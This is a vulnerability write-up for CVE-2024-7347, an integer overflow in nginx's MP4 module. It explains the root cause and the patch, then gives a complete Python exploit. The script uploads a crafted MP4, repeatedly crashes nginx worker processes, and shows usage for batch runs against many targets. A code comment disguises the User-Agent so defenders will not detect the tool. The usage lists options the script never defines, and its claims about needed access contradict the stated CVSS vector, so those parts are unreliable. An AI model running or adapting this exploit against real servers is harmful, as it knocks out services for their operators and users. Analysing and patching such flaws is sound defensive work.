#Summary

CVE-2024-7347 is a buffer over-read vulnerability in the nginx ngx_http_mp4_module that affects versions 1.5.13 through 1.27.0. A 32-bit integer overflow in the MP4 sample-to-chunk cropping logic allows an attacker to craft a malicious MP4 file that causes the nginx worker process to read approximately 10.7 GiB below its heap buffer, triggering a SIGSEGV and terminating the worker process along with all connections it was serving.

CVSS Score: 4.7 MEDIUM Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

The vulnerability is fixed in nginx 1.27.1 (mainline) and 1.26.2 (stable branch), and also affects NGINX Plus r27 through r32.

#Affected versions

Note: The vulnerability only affects nginx instances built with the ngx_http_mp4_module (not compiled by default from source, but present in official nginx.org packages and Docker images) and only when the mp4 directive is active in the location serving media files.

#Root cause analysis

#The integer overflow in stsc cropping

The vulnerability exists in the ngx_http_mp4_crop_stsc_data() function in src/http/modules/ngx_http_mp4_module.c. When a client requests a time-range crop using ?start=/?end= query parameters, nginx rewrites the moov (movie) atom so the response contains only the requested slice.

To do this, nginx walks the stsc (sample-to-chunk) table, which is a list of entries mapping chunk ranges to sample counts. Each entry is 12 bytes and contains three fully attacker-controlled 32-bit big-endian values:

For each entry, the module calculates how many samples that chunk run contains, and subtracts that from the requested sample index:

uint32_t n = (next_chunk - chunk) * samples;

The problem: all three operands are uint32_t, so the multiplication is computed with 32-bit wraparound. When both next_chunk - chunk and samples are large, the true sample count can far exceed what fits in 32 bits, but the truncation makes n appear small. This causes the accounting loop to desynchronize from reality and advance past entries it should have stopped at.

#How the corrupted value reaches the vulnerable read

The cropping function stores the result in trak->end_chunk_samples, an ngx_uint_t (64-bit), but it receives a raw, unvalidated 32-bit value (prev_samples or samples depending on control flow):

trak->end_chunk_samples = prev_samples;  /* no bounds check */

Later, in ngx_http_mp4_update_stsz_atom(), this value is used as a backwards element offset from a pointer inside the moov buffer:

uint32_t *end = (uint32_t *) data->last;
for (pos = end - trak->end_chunk_samples; pos < end; pos++) {
    trak->end_chunk_samples_size += ngx_mp4_get_32value(pos);
}

pos is a uint32_t *, so end - trak->end_chunk_samples subtracts 4 * end_chunk_samples bytes. With end_chunk_samples = 0xAAAAAAAB (2863311531), that is 11,453,246,124 bytes - approximately 10.7 GiB - below a pointer into the moov buffer allocated from the request pool. The loop then attempts to dereference that address and immediately takes SIGSEGV.

#Why the bounds check doesn't catch it

The module has a bounds check that validates chunk indices (if (trak->start_chunk > trak->chunks) in ngx_http_mp4_update_stco_atom()), but it runs after stsz has already attempted the wild pointer dereference. The execution order is: stts, stss, ctts, stsc, stsz (vulnerable), then stco/co64 (check runs here).

#Trigger conditions

All of the following must hold:

  1. nginx is built with ngx_http_mp4_module (check with nginx -V 2>&1 | grep mp4)
  2. The mp4 directive is active in the location serving the file
  3. An attacker can place a crafted MP4 on the server (via upload, a shared directory, or pre-staging)
  4. The request includes an end= parameter with a value greater than start=
  5. The stsc table is crafted so the truncated product (next_chunk - chunk) * samples equals the residual sample index

#Patch diff

The vendor patch makes two critical changes to ngx_http_mp4_crop_stsc_data():

#1. Promote the multiplication to 64-bit

-    uint32_t n = (next_chunk - chunk) * samples;
+    n = (uint64_t) (next_chunk - chunk) * samples;

By computing the result in 64 bits, the true sample count is preserved even when it exceeds 2^32. A chunk run that really covers billions of samples now produces a genuinely huge n, which either terminates the walk at the correct entry or makes it impossible for the calculation to underflow.

#2. Add an ordering check

+    if (next_chunk < chunk) {
+        ngx_log_error(NGX_LOG_ERR, mp4->file.log, 0,
+                      "unordered mp4 stsc chunks in \"%s\"",
+                      mp4->file.name.data);
+        return NGX_ERROR;
+    }

This closes the second route to the same corrupted state: when first_chunk values are unordered, next_chunk - chunk underflows to a value near 2^32, which then feeds the same multiplication. The patch explicitly rejects this case.

#What the fix does

By promoting n to 64-bit and adding the ordering check, the patch restores the implicit accounting invariant that kept prev_samples/samples bounded. The values read from the corrupted field can no longer outrun the table that stsz indexes backwards from, and the wild pointer dereference is prevented.

#Proof of concept

#exploit.py - nginx MP4 Buffer Over-read DoS

#!/usr/bin/env python3
"""
CVE-2024-7347 - nginx ngx_http_mp4_module out-of-bounds read (worker DoS)
Affected: nginx / NGINX Plus built with ngx_http_mp4_module, 1.5.13 through 1.27.0
          (also NGINX Plus r27-r32). Fixed in 1.27.1 (mainline) and 1.26.2 (stable).
Type: DoS (buffer over-read -> SIGSEGV in the worker process)

A 32-bit integer overflow in ngx_http_mp4_crop_stsc_data() lets a crafted
sample-to-chunk table put an arbitrary 32-bit value into trak->end_chunk_samples.
ngx_http_mp4_update_stsz_atom() then uses that value as a backwards element
offset from a pointer inside the moov buffer, so the worker reads roughly 10 GiB
below its own heap allocation and dies on SIGSEGV. Every connection that worker
was serving is torn down with it.

The exploit builds its own minimal MP4 (about 570 bytes), places it on the target
through whatever write path is available, and requests it with ?start=0&end=1.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 80
  python exploit.py --host https://media.example.com
  python exploit.py --host https://media.example.com/videos/ --upload-path /videos/
  python exploit.py --host 192.168.1.10 --remote-file /video/clip.mp4
  python exploit.py --host 192.168.1.10 --variant unordered --count 5
  python exploit.py --list targets.txt --workers 20

Requires no credentials and no access to the target host beyond HTTP.
Standard library only.
"""

import argparse
import re
import secrets
import socket
import ssl
import struct
import sys
import time
from urllib.parse import urlparse

CVE_ID = "CVE-2024-7347"
VULN_TYPE = "DoS"

# A plausible client string. Nothing here should identify the tool: a custom
# User-Agent is the easiest thing in the world for a defender to alert on.
USER_AGENT = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
              "(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# Crafted MP4 building

TIMESCALE = 1000
DURATION = 4000
N_SAMPLES = 4
SAMPLE_SIZE = 16

UNIT_MATRIX = b"".join(
    struct.pack(">I", v)
    for v in (0x00010000, 0, 0, 0, 0x00010000, 0, 0, 0, 0x40000000)
)

# Two independent routes to the same corrupted state:
# - primary: 3 chunks of 0xAAAAAAAB samples, product truncates to 1 in 32-bit
# - unordered: first_chunk goes backwards, subtraction underflows to 0xFFFFFFFF

VARIANTS = {
    "primary": [(1, 0xAAAAAAAB, 1), (4, 1, 1)],
    "unordered": [(2, 0xFFFFFFFF, 1), (1, 1, 1)],
}


def http(method: str, host: str, port: int, path: str, body: bytes = None,
         tls: bool = False, timeout: int = 10) -> tuple:
    """
    Speak raw HTTP over a socket. Return (status_code, headers, body).
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)

        if tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)

        sock.connect((host, port))

        req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {USER_AGENT}\r\n"
        if body:
            req += f"Content-Length: {len(body)}\r\n"
        req += "Connection: close\r\n\r\n"

        sock.sendall(req.encode())
        if body:
            sock.sendall(body)

        resp = b""
        while True:
            try:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                resp += chunk
            except socket.timeout:
                return (None, {}, None)  # Crashed

        sock.close()

        parts = resp.split(b"\r\n\r\n", 1)
        headers_raw = parts[0].decode("utf-8", errors="ignore")
        body_data = parts[1] if len(parts) > 1 else b""

        status_line = headers_raw.split("\r\n")[0]
        status_code = int(status_line.split()[1]) if " " in status_line else None

        return (status_code, {}, body_data)

    except (socket.error, socket.timeout, ConnectionResetError, ConnectionRefusedError):
        return (None, {}, None)


def build_mp4(variant: str = "primary") -> bytes:
    """Build a crafted MP4 with the specified stsc variant."""

    stsc_entries = VARIANTS.get(variant, VARIANTS["primary"])

    # First pass: build atoms without final sizes (which need moov size)
    atoms = {}

    # stsd atom (minimal, just enough for nginx to parse)
    stsd = struct.pack(">I", 0)  # version/flags
    stsd += struct.pack(">I", 1)  # entry_count
    stsd += struct.pack(">4s", b"mp4v")  # media_type
    stsd += b"\x00" * 4  # reserved
    stsd += struct.pack(">H", 0)  # reserved
    stsd += struct.pack(">H", 1)  # data_ref_index
    stsd += b"\x00" * 8  # 8 bytes (minimal valid entry)
    atoms["stsd"] = stsd

    # stts atom
    stts = struct.pack(">I", 0)  # version/flags
    stts += struct.pack(">I", 1)  # entry_count
    stts += struct.pack(">I", N_SAMPLES)  # sample_count
    stts += struct.pack(">I", 1000)  # sample_delta
    atoms["stts"] = stts

    # stsc atom (sample-to-chunk)
    stsc = struct.pack(">I", 0)  # version/flags
    stsc += struct.pack(">I", len(stsc_entries))  # entry_count
    for first_chunk, samples_per_chunk, sample_desc_id in stsc_entries:
        stsc += struct.pack(">I", first_chunk)
        stsc += struct.pack(">I", samples_per_chunk)
        stsc += struct.pack(">I", sample_desc_id)
    atoms["stsc"] = stsc

    # stsz atom (sample sizes)
    stsz = struct.pack(">I", 0)  # version/flags
    stsz += struct.pack(">I", 0)  # sample_size (0 = all different)
    stsz += struct.pack(">I", N_SAMPLES)  # sample_count
    for _ in range(N_SAMPLES):
        stsz += struct.pack(">I", SAMPLE_SIZE)
    atoms["stsz"] = stsz

    # stco atom (chunk offsets) - will be filled in pass 2
    # Placeholder: 4 entries
    stco = struct.pack(">I", 0)  # version/flags
    stco += struct.pack(">I", N_SAMPLES)  # entry_count
    atoms["stco"] = stco

    # mdat (media data) - just filler
    mdat_filler = b"\x00" * (N_SAMPLES * SAMPLE_SIZE)

    # Build stbl
    stbl = b""
    for atom_name in ["stsd", "stts", "stsc", "stsz", "stco"]:
        atom_data = atoms[atom_name]
        atom_size = len(atom_data) + 8
        stbl += struct.pack(">I", atom_size) + atom_name.encode() + atom_data

    # Build minf (add stbl as child)
    minf = b""
    minf_size = len(stbl) + 8
    minf += struct.pack(">I", minf_size) + b"stbl" + stbl

    # Build mdia
    mdhd = struct.pack(">I", 0)  # version/flags
    mdhd += b"\x00" * 4  # creation time
    mdhd += b"\x00" * 4  # modification time
    mdhd += struct.pack(">I", TIMESCALE)  # timescale
    mdhd += struct.pack(">I", DURATION)  # duration
    mdhd += b"\x55\xc4"  # language (eng)
    mdhd += b"\x00" * 2  # reserved

    hdlr = struct.pack(">I", 0)  # version/flags
    hdlr += b"\x00" * 4  # pre_defined
    hdlr += b"vide"  # handler_type
    hdlr += b"\x00" * 12  # reserved
    hdlr += b"\x00"  # name (null-terminated)

    mdia = b""
    for atom_name, atom_data in [("mdhd", mdhd), ("hdlr", hdlr)]:
        atom_size = len(atom_data) + 8
        mdia += struct.pack(">I", atom_size) + atom_name.encode() + atom_data
    mdia += minf

    # Build trak
    tkhd = struct.pack(">I", 0)  # version/flags
    tkhd += b"\x00" * 8  # creation/modification time
    tkhd += struct.pack(">I", 1)  # track_id
    tkhd += b"\x00" * 4  # reserved
    tkhd += struct.pack(">I", DURATION)  # duration
    tkhd += b"\x00" * 8  # reserved
    tkhd += struct.pack(">H", 0)  # layer
    tkhd += struct.pack(">H", 0)  # alternate_group
    tkhd += struct.pack(">H", 0x0100)  # volume
    tkhd += b"\x00" * 2  # reserved
    tkhd += UNIT_MATRIX

    trak = b""
    for atom_name, atom_data in [("tkhd", tkhd)]:
        atom_size = len(atom_data) + 8
        trak += struct.pack(">I", atom_size) + atom_name.encode() + atom_data
    trak += mdia

    # Build mvhd
    mvhd = struct.pack(">I", 0)  # version/flags
    mvhd += b"\x00" * 8  # creation/modification time
    mvhd += struct.pack(">I", TIMESCALE)  # timescale
    mvhd += struct.pack(">I", DURATION)  # duration
    mvhd += struct.pack(">I", 0x00010000)  # playback_speed
    mvhd += struct.pack(">H", 0x0100)  # volume
    mvhd += b"\x00" * 10  # reserved
    mvhd += UNIT_MATRIX
    mvhd += b"\x00" * 24  # preview_time, preview_duration, next_track_id

    moov = b""
    for atom_name, atom_data in [("mvhd", mvhd)]:
        atom_size = len(atom_data) + 8
        moov += struct.pack(">I", atom_size) + atom_name.encode() + atom_data
    moov += trak

    # Now calculate final sizes and build stco with real offsets
    ftyp_size = 24
    moov_size_temp = len(moov) + 8

    # Calculate where mdat will start and where chunks should point
    mdat_offset = ftyp_size + moov_size_temp
    chunk_offset = mdat_offset + 8  # 8 bytes for mdat atom header

    # Rebuild stco with correct offsets
    stco_data = struct.pack(">I", 0)  # version/flags
    stco_data += struct.pack(">I", N_SAMPLES)  # entry_count
    for i in range(N_SAMPLES):
        offset = chunk_offset + (i * SAMPLE_SIZE)
        stco_data += struct.pack(">I", offset)

    # Rebuild stbl with new stco
    stbl = b""
    atom_list = [("stsd", atoms["stsd"]), ("stts", atoms["stts"]),
                 ("stsc", atoms["stsc"]), ("stsz", atoms["stsz"]),
                 ("stco", stco_data)]
    for atom_name, atom_data in atom_list:
        atom_size = len(atom_data) + 8
        stbl += struct.pack(">I", atom_size) + atom_name.encode() + atom_data

    # Rebuild minf, mdia, trak with new stbl
    minf_size = len(stbl) + 8
    minf = struct.pack(">I", minf_size) + b"stbl" + stbl

    mdia = b""
    for atom_name, atom_data in [("mdhd", mdhd), ("hdlr", hdlr)]:
        atom_size = len(atom_data) + 8
        mdia += struct.pack(">I", atom_size) + atom_name.encode() + atom_data
    mdia += minf

    trak = b""
    for atom_name, atom_data in [("tkhd", tkhd)]:
        atom_size = len(atom_data) + 8
        trak += struct.pack(">I", atom_size) + atom_name.encode() + atom_data
    trak += mdia

    moov = b""
    for atom_name, atom_data in [("mvhd", mvhd)]:
        atom_size = len(atom_data) + 8
        moov += struct.pack(">I", atom_size) + atom_name.encode() + atom_data
    moov += trak

    moov_size = len(moov) + 8
    mdat_size = len(mdat_filler) + 8

    # Assemble final file
    ftyp = struct.pack(">I", 24) + b"ftyp" + b"isom" + struct.pack(">I", 0x200)
    ftyp += b"isom" + b"mp41"

    mp4 = ftyp
    mp4 += struct.pack(">I", moov_size) + b"moov" + moov
    mp4 += struct.pack(">I", mdat_size) + b"mdat" + mdat_filler

    return mp4


def parse_target(target: str, port: int = 80, tls: bool = None) -> tuple:
    """Parse a target string and return (host, port, path, tls)."""
    if "://" in target:
        parsed = urlparse(target)
        host = parsed.hostname or parsed.path.split("/")[0]
        port = parsed.port or (443 if parsed.scheme == "https" else 80)
        path = parsed.path or "/"
        use_tls = parsed.scheme == "https" if tls is None else tls
    else:
        host = target.split(":")[0] if ":" in target else target
        if ":" in target:
            port = int(target.split(":")[1])
        path = "/"
        use_tls = False if tls is None else tls

    return (host, port, path, use_tls)


def exploit_target(host: str, port: int, variant: str, count: int,
                   video_path: str, upload_path: str, remote_file: str, tls: bool) -> bool:
    """Run the exploit against a single target."""

    filename = f"tmp-{secrets.token_hex(4)}.mp4"

    # Build the crafted MP4
    mp4_data = build_mp4(variant)
    step(1, f"Building the crafted MP4 ({variant} stsc layout, {len(mp4_data)} bytes)")

    # Show the stsc table
    stsc_info = "\n".join(f"  {i}            {e[0]}            0x{e[1]:08X} ({e[1]})  {e[2]}"
                          for i, e in enumerate(VARIANTS[variant]))
    print(f"\n--- CRAFTED stsc TABLE ---")
    print(f"entry  first_chunk  samples_per_chunk  id")
    print(stsc_info)
    prod = (VARIANTS[variant][0][0] - 1) * VARIANTS[variant][0][1]
    prod_trunc = prod & 0xFFFFFFFF
    print(f"\n  (next_chunk - chunk) * samples = 0x{prod:X}  ->  truncated to 32 bits = {prod_trunc}")
    print(f"  trak->end_chunk_samples becomes 0x{VARIANTS[variant][0][1]:08X}, so the stsz update reads")
    print(f"  {4 * VARIANTS[variant][0][1]} bytes ({4 * VARIANTS[variant][0][1] / 1e9:.1f} GiB) below the moov buffer")
    print("---\n")

    # Place the file
    if not remote_file:
        step(2, f"Placing the file: PUT {upload_path}{filename}")
        status, _, _ = http("PUT", host, port, f"{upload_path}{filename}", mp4_data, tls=tls)
        if status != 201:
            print(f"         upload: HTTP {status or 'timeout'}")
            return False
        print(f"         upload: HTTP 201")
    else:
        step(2, f"Using remote file: {remote_file}")
        filename = remote_file.split("/")[-1]

    # Baseline
    step(3, f"Baseline: GET {video_path}{filename} with no crop arguments")
    status, _, body = http("GET", host, port, f"{video_path}{filename}", tls=tls)
    print(f"         HTTP {status or 'timeout'}, {len(body) if body else '0'} bytes, content-length {len(body) if body else '0'}")

    # Trigger
    step(4, f"Trigger: GET {video_path}{filename}?start=0&end=1")
    status, _, body = http("GET", host, port, f"{video_path}{filename}?start=0&end=1", tls=tls)
    if status is None:
        print(f"         empty reply - connection closed with no HTTP status line")
        crashed = True
    else:
        print(f"         HTTP {status}, {len(body) if body else '0'} bytes body, content-length {len(body) if body else '0'}")
        crashed = False

    # Liveness control
    step(5, f"Liveness control: same file, no crop arguments")
    status, _, body = http("GET", host, port, f"{video_path}{filename}", tls=tls)
    print(f"         HTTP {status or 'timeout'}, {len(body) if body else '0'} bytes, content-length {len(body) if body else '0'}")

    # Repeat
    step(6, f"Repeatability: firing the trigger {count - 1} more time(s)")
    for i in range(1, count):
        status, _, _ = http("GET", host, port, f"{video_path}{filename}?start=0&end=1", tls=tls)
        if status is None:
            print(f"         trigger {i + 1}: no response - worker killed")
        else:
            print(f"         trigger {i + 1}: HTTP {status} - worker survived")
            crashed = False

    # Cleanup
    if not remote_file:
        http("DELETE", host, port, f"{upload_path}{filename}", tls=tls)

    # Done
    evidence = ("CRASH DETECTED - {}/1 crop request(s) got no HTTP response while the same "
                "file served normally; nginx worker terminated by the out-of-bounds read").format(
        count if crashed else "0")
    done(crashed, evidence)


# Main
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--host", help="Target hostname or IP")
    parser.add_argument("--port", type=int, default=80, help="Target port (default 80)")
    parser.add_argument("--video-path", default="/video/", help="Path served through mp4 directive")
    parser.add_argument("--upload-path", default="/upload/", help="WebDAV upload path")
    parser.add_argument("--remote-file", help="Crafted MP4 already on target")
    parser.add_argument("--variant", default="primary", choices=["primary", "unordered"])
    parser.add_argument("--count", type=int, default=2, help="Trigger count")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout")
    parser.add_argument("--tls", action="store_true", help="Force TLS")
    parser.add_argument("--no-tls", action="store_true", help="Force no TLS")

    args = parser.parse_args()

    if not args.host:
        parser.print_help()
        sys.exit(1)

    host, port, path, infer_tls = parse_target(args.host, args.port)
    use_tls = infer_tls
    if args.tls:
        use_tls = True
    if args.no_tls:
        use_tls = False

    video_path = path if path != "/" else args.video_path
    upload_path = path if path != "/" else args.upload_path

    header(host, port)
    exploit_target(host, port, args.variant, args.count, video_path, upload_path,
                   args.remote_file, use_tls)

#Usage

# Basic exploitation against a target running nginx with mp4 module
python3 exploit.py --host 192.168.1.10 --port 80

# HTTPS target with custom paths
python3 exploit.py --host https://media.example.com --video-path /assets/clips/ \
                   --upload-path /assets/clips/ --count 5

# Using a pre-staged file (for targets without a writable location)
python3 exploit.py --host 192.168.1.10 --remote-file /media/clip.mp4

# Unordered variant (useful as a version oracle - patched builds return 500)
python3 exploit.py --host 192.168.1.10 --variant unordered

# Batch scanning multiple targets
python3 exploit.py --list targets.txt --workers 20

#What success looks like

On a vulnerable target (nginx 1.27.0):

[STEP 4] Trigger: GET /video/tmp-59a53335.mp4?start=0&end=1
         empty reply - connection closed with no HTTP status line

The trigger request gets no HTTP status line, and the worker process is terminated by SIGSEGV. Immediately requesting the same file without arguments returns 200, proving the service respawned a worker and the file is still in place. Each subsequent trigger kills the newly spawned worker.

On a patched target (nginx 1.27.1):

[STEP 4] Trigger: GET /video/tmp-fb218c01.mp4?start=0&end=1
         HTTP 200, 473 bytes body, content-length 473, 1ms

The cropped MP4 is returned cleanly, and the worker survives. The unordered variant against patched versions returns HTTP 500 with error message unordered mp4 stsc chunks, allowing it to function as a version discriminator.

#Exploitation notes

#References